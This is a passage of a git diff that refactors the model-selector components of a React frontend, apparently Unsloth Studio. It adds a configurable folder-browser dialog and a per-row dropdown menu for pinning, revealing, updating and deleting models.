-          <div className="mt-1.5 pt-1.5">
+          <div className="mt-1.5 border-t border-border/70 pt-1.5 pb-2">
             <button
               type="button"
               onClick={onEject}
@@ -553,6 +639,8 @@ function ModelSelectorContent({
             </button>
           </div>
         ) : null}
+          </>
+        )}
       </TooltipProvider>
     </PopoverContent>
   );
@@ -565,6 +653,10 @@ export function ModelSelector({
   value,
   defaultValue,
   activeGgufVariant,
+  activeModelConfig,
+  activeGgufContextLength,
+  selectedConfig,
+  selectedGgufVariant,
   onValueChange,
   onEject,
   onFoldersChange,
@@ -693,6 +785,11 @@ export function ModelSelector({
         loraModels={loraModels}
         externalModels={externalModels}
         value={selected}
+        activeGgufVariant={activeGgufVariant}
+        activeModelConfig={activeModelConfig}
+        activeGgufContextLength={activeGgufContextLength}
+        selectedConfig={selectedConfig}
+        selectedGgufVariant={selectedGgufVariant}
         onSelect={handleSelect}
         onEject={onEject ? handleEject : undefined}
         onFoldersChange={onFoldersChange}
@@ -784,7 +881,7 @@ function ExternalModelPicker({
           ) : (
             grouped.map((group) => (
               <div key={group.providerId}>
-                <div className="flex items-center gap-2 px-2.5 py-1.5 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
+                <div className="flex items-center gap-2 px-2.5 py-1.5 text-ui-10 font-semibold uppercase tracking-wider text-muted-foreground">
                   <ExternalProviderLogo
                     providerType={group.models[0]?.providerType}
                     className="size-3.5"
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx b/studio/frontend/src/features/model-picker/components/model-selector/folder-browser.tsx
similarity index 78%
rename from studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx
rename to studio/frontend/src/features/model-picker/components/model-selector/folder-browser.tsx
index 6311e15bfe..bad6c27bb2 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/folder-browser.tsx
+++ b/studio/frontend/src/features/model-picker/components/model-selector/folder-browser.tsx
@@ -14,12 +14,10 @@ import {
   DialogTitle,
 } from "@/components/ui/dialog";
 import { Spinner } from "@/components/ui/spinner";
-import {
-  type BrowseFoldersResponse,
-  browseFolders,
-} from "@/features/chat/api/chat-api";
+import { type BrowseFoldersResponse, browseFolders } from "@/features/chat";
+import { ChevronUpStandardIcon } from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
-import { ArrowUp02Icon, Folder02Icon } from "@hugeicons/core-free-icons";
+import { Folder02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
 
@@ -30,13 +28,16 @@ export interface FolderBrowserProps {
   onSelect: (path: string) => void;
   /** Optional initial directory. Defaults to the user's home on the server. */
   initialPath?: string;
+  title?: string;
+  confirmLabel?: string;
+  showModelHints?: boolean;
 }
 
 function splitBreadcrumb(path: string): { label: string; value: string }[] {
   if (!path) return [];
-  // Detect path style BEFORE normalizing: on POSIX, `\` is a valid filename
-  // char, so blindly rewriting `\` -> `/` mangles names like `my\backup` into
-  // 404ing breadcrumbs. Only Windows-style paths (drive letter, or UNC) convert.
+  // Detect path style BEFORE normalizing: on POSIX `\` is a valid filename char,
+  // so rewriting `\` -> `/` would mangle names like `my\backup`. Only Windows
+  // paths (drive letter or UNC) convert.
   const isWindowsDrive =
     /^[A-Za-z]:[\\/]/.test(path) || /^[A-Za-z]:$/.test(path);
   const isUnc = /^\\\\/.test(path);
@@ -57,9 +58,8 @@ function splitBreadcrumb(path: string): { label: string; value: string }[] {
     return parts;
   }
 
-  // Windows drive path (C:, D:): first segment is the drive. Use `C:/` as the
-  // crumb value so clicking the drive root navigates to the drive root, not the
-  // drive-relative CWD (`C:` alone resolves to CWD-on-C, not `C:\`).
+  // Windows drive path: use `C:/` as the crumb value so clicking the drive root
+  // goes to the drive root, not the drive-relative CWD (`C:` alone is CWD-on-C).
   if (/^[A-Za-z]:$/.test(segments[0])) {
     const driveRoot = `${segments[0]}/`;
     let cur = driveRoot;
@@ -81,6 +81,9 @@ export function FolderBrowser({
   onOpenChange,
   onSelect,
   initialPath,
+  title = "Select folder to detect models",
+  confirmLabel = "Use this folder",
+  showModelHints = true,
 }: FolderBrowserProps) {
   const [data, setData] = useState<BrowseFoldersResponse | null>(null);
   const [path, setPath] = useState<string | undefined>(initialPath);
@@ -89,47 +92,43 @@ export function FolderBrowser({
   const [error, setError] = useState<string | null>(null);
   const abortRef = useRef<AbortController | null>(null);
 
-  const navigate = useCallback(
-    (
-      target: string | undefined,
-      hidden: boolean,
-      opts?: { fallbackOnError?: boolean },
-    ) => {
-      abortRef.current?.abort();
-      const ctrl = new AbortController();
-      abortRef.current = ctrl;
-      setLoading(true);
-      setError(null);
-      // Forward the signal so cancelled navigation aborts the backend
-      // enumeration, not just the response.
-      browseFolders(target, hidden, ctrl.signal)
-        .then((res) => {
-          if (ctrl.signal.aborted) return;
-          setData(res);
-          setPath(res.current);
-        })
-        .catch((err) => {
-          if (ctrl.signal.aborted) return;
-          // Surface the error; if the first request (e.g. a bad initialPath)
-          // fails, fall back to HOME so the modal stays navigable.
-          const message = err instanceof Error ? err.message : String(err);
-          setError(message);
-          if (opts?.fallbackOnError && target !== undefined) {
-            // Re-issue without a target -> backend defaults to HOME.
-            // Don't recurse if HOME itself fails (allowlist always has HOME).
-            queueMicrotask(() => navigate(undefined, hidden));
-          }
-        })
-        .finally(() => {
-          if (!ctrl.signal.aborted) setLoading(false);
-        });
-    },
-    [],
-  );
+  function navigate(
+    target: string | undefined,
+    hidden: boolean,
+    opts?: { fallbackOnError?: boolean },
+  ) {
+    abortRef.current?.abort();
+    const ctrl = new AbortController();
+    abortRef.current = ctrl;
+    setLoading(true);
+    setError(null);
+    // Forward the signal so cancelled navigation aborts the backend
+    // enumeration, not just the response.
+    browseFolders(target, hidden, ctrl.signal)
+      .then((res) => {
+        if (ctrl.signal.aborted) return;
+        setData(res);
+        setPath(res.current);
+      })
+      .catch((err) => {
+        if (ctrl.signal.aborted) return;
+        // Surface the error; if the first request (e.g. a bad initialPath)
+        // fails, fall back to HOME so the modal stays navigable.
+        const message = err instanceof Error ? err.message : String(err);
+        setError(message);
+        if (opts?.fallbackOnError && target !== undefined) {
+          // Re-issue without a target -> backend defaults to HOME.
+          // Don't recurse if HOME itself fails (allowlist always has HOME).
+          queueMicrotask(() => navigate(undefined, hidden));
+        }
+      })
+      .finally(() => {
+        if (!ctrl.signal.aborted) setLoading(false);
+      });
+  }
 
   // Fetch only on closed -> open; later navigation is driven by `navigate()`,
   // so `path` is deliberately kept out of the dependency list.
-  // eslint-disable-next-line react-hooks/exhaustive-deps
   useEffect(() => {
     if (!open) return;
     // fallbackOnError: recover into HOME if initialPath is bad, rather than
@@ -146,7 +145,7 @@ export function FolderBrowser({
 
   const crumbs = useMemo(
     () => (data?.current ? splitBreadcrumb(data.current) : []),
-    [data?.current],
+    [data],
   );
 
   return (
@@ -157,11 +156,11 @@ export function FolderBrowser({
         data-testid="folder-browser-dialog"
       >
         <DialogHeader className="px-6 pt-6 pb-2">
-          <DialogTitle>Select folder to detect models</DialogTitle>
+          <DialogTitle>{title}</DialogTitle>
         </DialogHeader>
 
         {/* Breadcrumb */}
-        <div className="flex flex-wrap items-center gap-0.5 border-t border-border/50 px-6 py-2 font-mono text-[11px] text-muted-foreground">
+        <div className="flex flex-wrap items-center gap-0.5 border-t border-border/50 px-6 py-2 font-mono text-ui-11 text-muted-foreground">
           {crumbs.length === 0 ? (
             <span className="text-muted-foreground/60">(loading…)</span>
           ) : (
@@ -192,7 +191,7 @@ export function FolderBrowser({
                 type="button"
                 onClick={() => navigate(s, showHidden)}
                 disabled={loading}
-                className="rounded-full border border-border/50 px-2 py-0.5 font-mono text-[10px] text-muted-foreground transition-colors hover:bg-muted hover:text-foreground disabled:opacity-40"
+                className="rounded-full border border-border/50 px-2 py-0.5 font-mono text-ui-10 text-muted-foreground transition-colors hover:bg-muted hover:text-foreground disabled:opacity-40"
                 title={s}
               >
                 {s.length > 36 ? `…${s.slice(-33)}` : s}
@@ -230,28 +229,29 @@ export function FolderBrowser({
                   className="flex w-full items-center gap-2 px-6 py-1.5 text-left text-xs text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
                 >
                   <HugeiconsIcon
-                    icon={ArrowUp02Icon}
+                    icon={ChevronUpStandardIcon}
                     className="size-3 shrink-0"
                   />
                   <span className="font-mono">..</span>
                 </button>
               )}
               {data.entries.length === 0 &&
-                !(data.model_files_here && data.model_files_here > 0) && (
+                (!showModelHints ||
+                  !(data.model_files_here && data.model_files_here > 0)) && (
                   <div className="px-6 py-3 text-xs text-muted-foreground/60">
                     (empty directory)
                   </div>
                 )}
-              {data.model_files_here !== undefined &&
+              {showModelHints && data.model_files_here !== undefined &&
                 data.model_files_here > 0 && (
-                  <div className="border-t border-border/30 px-6 py-1.5 text-[10px] text-foreground/70">
+                  <div className="border-t border-border/30 px-6 py-1.5 text-ui-10 text-foreground/70">
                     {data.model_files_here} model file
                     {data.model_files_here === 1 ? "" : "s"} in this folder.
                     Click "Use this folder" to scan it.
                   </div>
                 )}
               {data.truncated === true && (
-                <div className="border-t border-border/30 px-6 py-1.5 text-[10px] text-muted-foreground/70">
+                <div className="border-t border-border/30 px-6 py-1.5 text-ui-10 text-muted-foreground/70">
                   Showing first {data.entries.length} entries. Narrow the path
                   to see more.
                 </div>
@@ -279,8 +279,8 @@ export function FolderBrowser({
                     )}
                   />
                   <span className="truncate font-mono">{e.name}</span>
-                  {e.has_models && (
-                    <span className="ml-auto shrink-0 rounded-full border border-border/50 px-1.5 py-0 text-[9px] uppercase tracking-wider text-muted-foreground">
+                  {showModelHints && e.has_models && (
+                    <span className="ml-auto shrink-0 rounded-full border border-border/50 px-1.5 py-0 text-ui-9 uppercase tracking-wider text-muted-foreground">
                       models
                     </span>
                   )}
@@ -319,7 +319,7 @@ export function FolderBrowser({
               onClick={handleConfirm}
               disabled={!path || loading || !!error}
             >
-              Use this folder
+              {confirmLabel}
             </Button>
           </div>
         </DialogFooter>
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-capabilities.ts b/studio/frontend/src/features/model-picker/components/model-selector/model-capabilities.ts
similarity index 100%
rename from studio/frontend/src/components/assistant-ui/model-selector/model-capabilities.ts
rename to studio/frontend/src/features/model-picker/components/model-selector/model-capabilities.ts
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx b/studio/frontend/src/features/model-picker/components/model-selector/model-delete-action.tsx
similarity index 90%
rename from studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx
rename to studio/frontend/src/features/model-picker/components/model-selector/model-delete-action.tsx
index 4de96d3648..09bb43abdc 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/model-delete-action.tsx
+++ b/studio/frontend/src/features/model-picker/components/model-selector/model-delete-action.tsx
@@ -1,12 +1,12 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { DeleteConfirmDialog } from "@/features/hub/catalog/download-card";
+import { DeleteConfirmDialog } from "@/features/hub";
+import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
 import { Delete02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useCallback, useState, type ReactNode } from "react";
-import { toast } from "@/lib/toast";
+import { type ReactNode, useCallback, useState } from "react";
 
 interface ModelDeleteActionProps {
   ariaLabel: string;
@@ -63,7 +63,8 @@ export function ModelDeleteAction({
         disabled={disabled}
         className={cn(
           "shrink-0 rounded-md p-1.5 text-muted-foreground/60 transition-colors hover:bg-destructive/10 hover:text-destructive",
-          disabled && "cursor-not-allowed opacity-40 hover:bg-transparent hover:text-muted-foreground/60",
+          disabled &&
+            "cursor-not-allowed opacity-40 hover:bg-transparent hover:text-muted-foreground/60",
           buttonClassName,
         )}
       >
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-load-settings-action.tsx b/studio/frontend/src/features/model-picker/components/model-selector/model-load-settings-action.tsx
similarity index 63%
rename from studio/frontend/src/components/assistant-ui/model-selector/model-load-settings-action.tsx
rename to studio/frontend/src/features/model-picker/components/model-selector/model-load-settings-action.tsx
index 58510762d4..bbef42063f 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/model-load-settings-action.tsx
+++ b/studio/frontend/src/features/model-picker/components/model-selector/model-load-settings-action.tsx
@@ -6,24 +6,18 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
-import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import { cn } from "@/lib/utils";
 import { Settings02Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
-/** Gear button on a downloaded quant row. Stages the model into the Run
- * settings sidebar (always, regardless of the Load-on-selection toggle) so the
- * user can set load options, then click Load model. */
 export function ModelLoadSettingsAction({
   ariaLabel,
-  repoId,
-  quant,
-  maxContext,
+  onConfigure,
+  className,
 }: {
   ariaLabel: string;
-  repoId: string;
-  quant: string;
-  maxContext?: number | null;
+  onConfigure: () => void;
+  className?: string;
 }) {
   return (
     <Tooltip delayDuration={0}>
@@ -32,16 +26,12 @@ export function ModelLoadSettingsAction({
           type="button"
           onClick={(e) => {
             e.stopPropagation();
-            useChatRuntimeStore.getState().stageModel({
-              id: repoId,
-              ggufVariant: quant,
-              isDownloaded: true,
-              contextLength: maxContext ?? null,
-            });
+            onConfigure();
           }}
           aria-label={ariaLabel}
           className={cn(
-            "shrink-0 rounded-md p-1 text-muted-foreground/60 transition-colors hover:bg-muted hover:text-foreground",
+            "shrink-0 rounded-md p-1 text-muted-foreground/60 transition-colors hover:bg-black/5 hover:text-foreground dark:hover:bg-white/10",
+            className,
           )}
         >
           <HugeiconsIcon
diff --git a/studio/frontend/src/features/model-picker/components/model-selector/model-row-menu.tsx b/studio/frontend/src/features/model-picker/components/model-selector/model-row-menu.tsx
new file mode 100644
index 0000000000..ee149d802f
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/components/model-selector/model-row-menu.tsx
@@ -0,0 +1,289 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Condensed row actions for model rows: everything except the run-settings
+// gear collapses into one dots menu (pin, update, delete) so rows don't grow
+// an icon strip. Mirrors the sidebar chat rows' MoreVertical menu pattern.
+
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
+import { usePlatformStore } from "@/config/env";
+import { revealCachedModel } from "@/features/chat";
+import {
+  DeleteConfirmDialog,
+  UpdateConfirmDialog,
+  ggufVariantsMatch,
+  subscribeJobListeners,
+} from "@/features/hub";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
+import {
+  Delete02Icon,
+  Folder01Icon,
+  MoreVerticalIcon,
+  PinIcon,
+  PinOffIcon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { RefreshCw } from "lucide-react";
+import {
+  type ReactNode,
+  useCallback,
+  useEffect,
+  useRef,
+  useState,
+} from "react";
+
+interface ModelRowMenuPin {
+  pinned: boolean;
+  /** Menu item labels, e.g. "Pin quant to the top" / "Unpin quant". */
+  pinLabel: string;
+  unpinLabel: string;
+  onToggle: () => void;
+}
+
+interface ModelRowMenuUpdate {
+  title: string;
+  description: ReactNode;
+  /** Repo + variant the update targets (see ModelUpdateAction). */
+  repoId: string;
+  variant?: string | null;
+  disabled?: boolean;
+  onConfirm: () => Promise<void> | void;
+  onUpdated?: () => void;
+}
+
+interface ModelRowMenuDelete {
+  title: string;
+  description: ReactNode;
+  successMessage: string;
+  disabled?: boolean;
+  onConfirm: () => Promise<void> | void;
+  onDeleted?: () => void;
+}
+
+/** Managed-cache location for "Reveal in Finder" (resolved server-side). */
+interface ModelRowMenuCachePath {
+  repoId: string;
+  variant?: string;
+}
+
+export function ModelRowMenu({
+  ariaLabel,
+  buttonClassName,
+  iconClassName,
+  cachePath,
+  pin,
+  update,
+  del,
+}: {
+  ariaLabel: string;
+  buttonClassName?: string;
+  iconClassName?: string;
+  /** Enables "Reveal in Finder" for cached repos. */
+  cachePath?: ModelRowMenuCachePath;
+  pin?: ModelRowMenuPin;
+  update?: ModelRowMenuUpdate;
+  del?: ModelRowMenuDelete;
+}) {
+  const deviceType = usePlatformStore((s) => s.deviceType);
+  const revealLabel =
+    deviceType === "mac"
+      ? "Reveal in Finder"
+      : deviceType === "windows"
+        ? "Reveal in File Explorer"
+        : "Reveal in File Manager";
+  const [deleteOpen, setDeleteOpen] = useState(false);
+  const [deleting, setDeleting] = useState(false);
+  const [updateOpen, setUpdateOpen] = useState(false);
+
+  // Refresh the caller when this repo+variant's managed update completes
+  // (mirrors ModelUpdateAction).
+  const onUpdatedRef = useRef(update?.onUpdated);
+  useEffect(() => {
+    onUpdatedRef.current = update?.onUpdated;
+  }, [update?.onUpdated]);
+  const updateRepoId = update?.repoId;
+  const updateVariant = update?.variant ?? null;
+  useEffect(() => {
+    if (!updateRepoId) return;
+    return subscribeJobListeners("model", updateRepoId, {
+      onComplete: (completedVariant) => {
+        const matches = updateVariant
+          ? ggufVariantsMatch(completedVariant, updateVariant)
+          : !completedVariant;
+        if (matches) onUpdatedRef.current?.();
+      },
+    });
+  }, [updateRepoId, updateVariant]);
+
+  const onDeleteConfirm = del?.onConfirm;
+  const onDeleted = del?.onDeleted;
+  const deleteSuccessMessage = del?.successMessage;
+  const handleDeleteConfirm = useCallback(async () => {
+    if (!onDeleteConfirm) return;
+    setDeleting(true);
+    try {
+      await onDeleteConfirm();
+      if (deleteSuccessMessage) toast.success(deleteSuccessMessage);
+      onDeleted?.();
+      setDeleteOpen(false);
+    } catch (err) {
+      toast.error(
+        err instanceof Error ? err.message : "Failed to delete model",
+      );
+    } finally {
+      setDeleting(false);
+    }
+  }, [onDeleteConfirm, onDeleted, deleteSuccessMessage]);
+
+  const onUpdateConfirm = update?.onConfirm;
+  const handleUpdateConfirm = useCallback(() => {
+    // Start the re-download and close the dialog; the Downloads panel owns
+    // progress + cancel. Only a failure to START toasts.
+    void Promise.resolve()
+      .then(onUpdateConfirm)
+      .catch((err) => {
+        toast.error(
+          err instanceof Error ? err.message : "Failed to start update",
+        );
+      });
+    setUpdateOpen(false);
+  }, [onUpdateConfirm]);
+
+  const cachePathRepoId = cachePath?.repoId;
+  const cachePathVariant = cachePath?.variant;
+  const handleReveal = useCallback(() => {
+    if (!cachePathRepoId) return;
+    revealCachedModel(cachePathRepoId, cachePathVariant).catch((err) => {
+      toast.error(
+        err instanceof Error ? err.message : "Failed to open file manager",
+      );
+    });
+  }, [cachePathRepoId, cachePathVariant]);
+
+  if (!pin && !update && !del && !cachePath) return null;
+
+  return (
+    <>
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild={true}>
+          <button
+            type="button"
+            onClick={(e) => e.stopPropagation()}
+            aria-label={ariaLabel}
+            className={cn(
+              "shrink-0 rounded-md p-1 text-muted-foreground/60 transition-colors hover:bg-black/5 hover:text-foreground dark:hover:bg-white/10",
+              buttonClassName,
+            )}
+          >
+            <HugeiconsIcon
+              icon={MoreVerticalIcon}
+              strokeWidth={1.75}
+              className={cn("size-3.5", iconClassName)}
+            />
+          </button>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent
+          side="bottom"
+          align="end"
+          sideOffset={2}
+          className="unsloth-plus-menu menu-flat-destructive w-48"
+        >
+          {pin && (
+            <DropdownMenuItem
+              onSelect={(e) => {
+                e.stopPropagation();
+                pin.onToggle();
+              }}
+            >
+              <HugeiconsIcon
+                icon={pin.pinned ? PinOffIcon : PinIcon}
+                strokeWidth={1.75}
+                className="size-icon"
+              />
+              <span>{pin.pinned ? pin.unpinLabel : pin.pinLabel}</span>
+            </DropdownMenuItem>
+          )}
+          {cachePath && (
+            <DropdownMenuItem
+              onSelect={(e) => {
+                e.stopPropagation();
+                handleReveal();
+              }}
+            >
+              <HugeiconsIcon
+                icon={Folder01Icon}
+                strokeWidth={1.75}
+                className="size-icon"
+              />
+              <span>{revealLabel}</span>
+            </DropdownMenuItem>
+          )}
+          {update && (
+            <DropdownMenuItem
+              disabled={update.disabled}
+              onSelect={(e) => {
+                e.stopPropagation();
+                setUpdateOpen(true);
+              }}
+            >
+              <RefreshCw className="size-icon" />
+              <span>Update</span>
+            </DropdownMenuItem>
+          )}
+          {del && (
+            <>
+              {(cachePath || pin || update) && <DropdownMenuSeparator />}
+              <DropdownMenuItem
+                variant="destructive"
+                disabled={del.disabled}
+                onSelect={(e) => {
+                  e.stopPropagation();
+                  setDeleteOpen(true);
+                }}
+              >
+                <HugeiconsIcon
+                  icon={Delete02Icon}
+                  strokeWidth={1.75}
+                  className="size-icon"
+                />
+                <span>Delete</span>
+              </DropdownMenuItem>
+            </>
+          )}
+        </DropdownMenuContent>
+      </DropdownMenu>
+
+      {del && (
+        <DeleteConfirmDialog
+          open={deleteOpen}
+          onOpenChange={(nextOpen) => {
+            if (!nextOpen && deleting) return;
+            setDeleteOpen(nextOpen);
+          }}
+          title={del.title}
+          description={del.description}
+          deleting={deleting}
+          onConfirm={() => void handleDeleteConfirm()}
+        />
+      )}
+
+      {update && (
+        <UpdateConfirmDialog
+          open={updateOpen}
+          onOpenChange={setUpdateOpen}
+          title={update.title}
+          description={update.description}
+          updating={false}
+          onConfirm={handleUpdateConfirm}
+        />
+      )}
+    </>
+  );
+}
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx b/studio/frontend/src/features/model-picker/components/model-selector/model-update-action.tsx
similarity index 72%
rename from studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
rename to studio/frontend/src/features/model-picker/components/model-selector/model-update-action.tsx
index d00c812325..b13ed33d04 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
+++ b/studio/frontend/src/features/model-picker/components/model-selector/model-update-action.tsx
@@ -1,12 +1,20 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { subscribeJobListeners } from "@/features/hub/download-manager";
-import { UpdateConfirmDialog } from "@/features/hub/catalog/download-card";
-import { ggufVariantsMatch } from "@/features/hub/lib/model-identity";
+import {
+  UpdateConfirmDialog,
+  ggufVariantsMatch,
+  subscribeJobListeners,
+} from "@/features/hub";
 import { cn } from "@/lib/utils";
 import { RefreshCw } from "lucide-react";
-import { useCallback, useEffect, useRef, useState, type ReactNode } from "react";
+import {
+  type ReactNode,
+  useCallback,
+  useEffect,
+  useRef,
+  useState,
+} from "react";
 import { toast } from "sonner";
 
 interface ModelUpdateActionProps {
@@ -42,12 +50,10 @@ export function ModelUpdateAction({
 }: ModelUpdateActionProps) {
   const [open, setOpen] = useState(false);
 
-  // The update is a managed download (it surfaces in the global Downloads panel
-  // with progress + cancel). When this exact repo+variant finishes, refresh the
-  // caller so the "update available" cue clears once the new revision is on
-  // disk. A ref keeps the subscription stable across renders without resubscribing.
   const onUpdatedRef = useRef(onUpdated);
-  onUpdatedRef.current = onUpdated;
+  useEffect(() => {
+    onUpdatedRef.current = onUpdated;
+  }, [onUpdated]);
   useEffect(() => {
     return subscribeJobListeners("model", repoId, {
       onComplete: (completedVariant) => {
@@ -60,9 +66,8 @@ export function ModelUpdateAction({
   }, [repoId, variant]);
 
   const handleConfirm = useCallback(() => {
-    // Start the background re-download and close the dialog immediately; the
-    // Downloads panel owns progress + cancel from here. Only a failure to START
-    // surfaces a toast — a failed download reports itself in the panel.
+    // Start the re-download and close the dialog; the Downloads panel owns progress + cancel.
+    // Only a failure to START toasts (a failed download shows in the panel).
     void Promise.resolve()
       .then(onConfirm)
       .catch((err) => {
@@ -86,7 +91,8 @@ export function ModelUpdateAction({
         disabled={disabled}
         className={cn(
           "shrink-0 rounded-md p-1.5 text-muted-foreground/60 transition-colors hover:bg-amber-500/10 hover:text-amber-700 dark:hover:bg-amber-500/15 dark:hover:text-amber-300",
-          disabled && "cursor-not-allowed opacity-40 hover:bg-transparent hover:text-muted-foreground/60",
+          disabled &&
+            "cursor-not-allowed opacity-40 hover:bg-transparent hover:text-muted-foreground/60",
           buttonClassName,
         )}
       >
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-usage.ts b/studio/frontend/src/features/model-picker/components/model-selector/model-usage.ts
similarity index 93%
rename from studio/frontend/src/components/assistant-ui/model-selector/model-usage.ts
rename to studio/frontend/src/features/model-picker/components/model-selector/model-usage.ts
index dbcd4b9a1b..c6665e7658 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/model-usage.ts
+++ b/studio/frontend/src/features/model-picker/components/model-selector/model-usage.ts
@@ -40,7 +40,8 @@ export function loadedAt(times: ModelLoadTimes, id: string): number {
 export function useModelLoadTimes(currentValue?: string): ModelLoadTimes {
   const [times, setTimes] = useState<ModelLoadTimes>(() => readLoadTimes());
   useEffect(() => {
-    if (currentValue) setTimes(recordModelLoaded(currentValue));
+    if (!currentValue) return;
+    queueMicrotask(() => setTimes(recordModelLoaded(currentValue)));
   }, [currentValue]);
   return times;
 }
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/features/model-picker/components/model-selector/pickers.tsx
similarity index 51%
rename from studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
rename to studio/frontend/src/features/model-picker/components/model-selector/pickers.tsx
index 20000c82ee..20810b3f11 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/features/model-picker/components/model-selector/pickers.tsx
@@ -10,49 +10,48 @@ import {
   TooltipTrigger,
 } from "@/components/ui/tooltip";
 import { usePlatformStore } from "@/config/env";
-import { ApiProviderLogo } from "@/features/chat/api-provider-logo";
+import { ApiProviderLogo } from "@/features/chat";
 import {
   type ScanFolderInfo,
   addScanFolder,
-  deleteCachedModel,
   deleteFineTunedModel,
-  listCachedGguf,
-  listCachedModels,
   listGgufVariants,
-  listLocalModels,
   listRecommendedFolders,
   listScanFolders,
   removeScanFolder,
-} from "@/features/chat/api/chat-api";
-import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
+} from "@/features/chat";
+import { useChatRuntimeStore } from "@/features/chat";
 import type {
   CachedGgufRepo,
   CachedModelRepo,
+  GgufVariantDetail,
   LocalModelInfo,
-} from "@/features/chat/api/chat-api";
-import type { GgufVariantDetail } from "@/features/chat/types/api";
-import { DotTag } from "@/features/hub/catalog/dot-tag";
+} from "@/features/chat";
 import {
+  DotTag,
   type HubOption,
   HubOptionMenu,
-} from "@/features/hub/catalog/hub-option-menu";
-import { TransportConflictDialog } from "@/features/hub/catalog/transport-conflict-dialog";
-import { TrainIcon } from "@/features/hub/components/train-icon";
-import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
+  TrainIcon,
+  TransportConflictDialog,
+  deleteCachedModel,
+  listGgufVariants as listGgufVariantsCached,
+  useHubInfiniteScroll,
+} from "@/features/hub";
 import {
   type HfModelResult,
   type HfSortKey,
   useHubModelSearch,
-} from "@/features/hub/hooks/use-hub-model-search";
-import { useOnlineStatus } from "@/features/hub/hooks/use-online-status";
-import { isHiddenModelId } from "@/features/hub/lib/hidden-models";
-import { classifyUnslothSupport } from "@/features/hub/lib/unsloth-support";
-import { useHfTokenStore } from "@/features/hub/stores/hf-token-store";
+} from "@/features/hub";
 import {
+  classifyUnslothSupport,
   downloadManager,
+  hfApiToken,
+  isHiddenModelId,
   jobKeyOf,
   useDownloadManagerStore,
-} from "@/features/hub/download-manager";
+  useHfTokenStore,
+  useOnlineStatus,
+} from "@/features/hub";
 import { useDebouncedValue, useGpuInfo } from "@/hooks";
 import { extractParamLabel } from "@/lib/model-size";
 import { toast } from "@/lib/toast";
@@ -61,12 +60,14 @@ import type { VramFitStatus } from "@/lib/vram";
 import { checkVramFit, estimateLoadingVram } from "@/lib/vram";
 import {
   Add01Icon,
+  ArrowUpDownIcon,
   AudioWave01Icon,
   Cancel01Icon,
   DashboardCircleIcon,
   Download01Icon,
   Flag01Icon,
   Folder02Icon,
+  PinIcon,
   RemoveCircleIcon,
   Search01Icon,
   ViewIcon,
@@ -85,6 +86,7 @@ import {
   useRef,
   useState,
 } from "react";
+import { useChatPickerInventory } from "../../inventory/use-chat-picker-inventory";
 import { FolderBrowser } from "./folder-browser";
 import {
   type ModelCapabilities,
@@ -92,13 +94,19 @@ import {
   hasAnyCapability,
 } from "./model-capabilities";
 import { ModelDeleteAction } from "./model-delete-action";
-import { ModelUpdateAction } from "./model-update-action";
 import { ModelLoadSettingsAction } from "./model-load-settings-action";
+import { ModelRowMenu } from "./model-row-menu";
 import {
   type ModelLoadTimes,
   loadedAt,
   useModelLoadTimes,
 } from "./model-usage";
+import {
+  makePinRank,
+  pinKey,
+  pinnedQuantEntries,
+  usePinnedModelsStore,
+} from "./pinned-models";
 import {
   type FormatFilter,
   estimateQuantBytes,
@@ -313,7 +321,7 @@ function ListLabel({
         divider ? "mt-3 border-t border-border/50 pt-3" : "pt-3",
       )}
     >
-      <span className="flex items-center gap-1.5 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground">
+      <span className="flex items-center gap-1.5 text-ui-10 font-semibold uppercase tracking-wider text-muted-foreground">
         {icon}
         {children}
       </span>
@@ -342,15 +350,12 @@ function ListLabel({
 
 /** Format bytes to a human-readable size string. */
 function formatBytes(bytes: number): string {
-  // Guard non-positive / non-finite sizes (0, missing -> NaN, Infinity) so we
